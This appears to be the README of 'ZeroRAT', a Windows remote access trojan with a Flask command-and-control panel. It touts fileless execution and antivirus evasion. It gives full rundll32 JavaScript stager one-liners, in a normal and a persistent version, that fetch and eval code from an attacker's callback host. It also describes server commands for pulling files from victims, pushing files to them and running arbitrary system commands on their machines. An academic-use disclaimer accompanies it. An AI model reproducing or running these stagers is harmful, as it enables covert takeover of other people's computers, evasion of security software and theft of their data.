#ZeroRAT ##Introduction A remote control tool for Windows. The client only needs to execute a single command, utilizing native Windows programs for execution without writing files to disk, providing inherent AV evasion. It becomes ineffective after reboot.

In the program, download and upload are from the client's perspective. The client downloading a file from the server is called download, and the client uploading a file to the server is called upload.

##Configuration Modify the client callback address and the backend admin password in config.py. Make sure to check that debug is turned off.

The program depends on flask and sqlite3; install them via pip.

##Client Replace <ip>:<port> with the actual callback address.

Normal version

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://<ip>:<port>/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){window.close();}

Persistent version

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://<ip>:<port>/connect",false);while(1){try{h.Send();B=h.ResponseText;eval(B);}catch(e){}}

##Server Admin panel: http://<ip>:<port>/server/

The server supports the following commands:

sessions List active clients
use <id> Select a client by ID
set <key> <value> Set global variables
show globals/downloads/uploads View global variables, files available for client download, and files uploaded by clients
delete session Delete the current client
delete download/upload <id> Delete a file by ID
upfile Upload a file to the server and add it to the downloads list
download Set the download_file and download_save_path variables to have the client download a file and save it to download_save_path
upload Set the upload_file variable to have the client upload the file to the server

Any command not listed above will be executed as a Windows system command.

For detailed command information, see /static/js/xkcd_cli.js

##Development Backend command handling client: /static/js/xkcd_cli.js

Backend command handling server: /controllers/server.py

Client handler: /controllers/client.py

Client payload generation: payload.py

Database operations: /models/

##Contact http://5alt.me

md5_salt [AT] qq.com

##References https://gist.github.com/subTee/f1603fa5c15d5f8825c0

http://drops.wooyun.org/tips/11764

http://drops.wooyun.org/tips/8290

http://drops.wooyun.org/tips/12354

https://github.com/chromakode/xkcdfools

http://www.kammerl.de/ascii/AsciiSignature.php

https://github.com/AlessandroZ/LaZagne

##Disclaimer Please comply with local laws when using this tool. It is only for academic testing purposes. Unauthorized control of others' computers is strictly prohibited. The author is not responsible for any damages caused.

##License GPLV3

##TODO

Improve commands
Encrypt communication traffic

Most Popular

ZeroRAT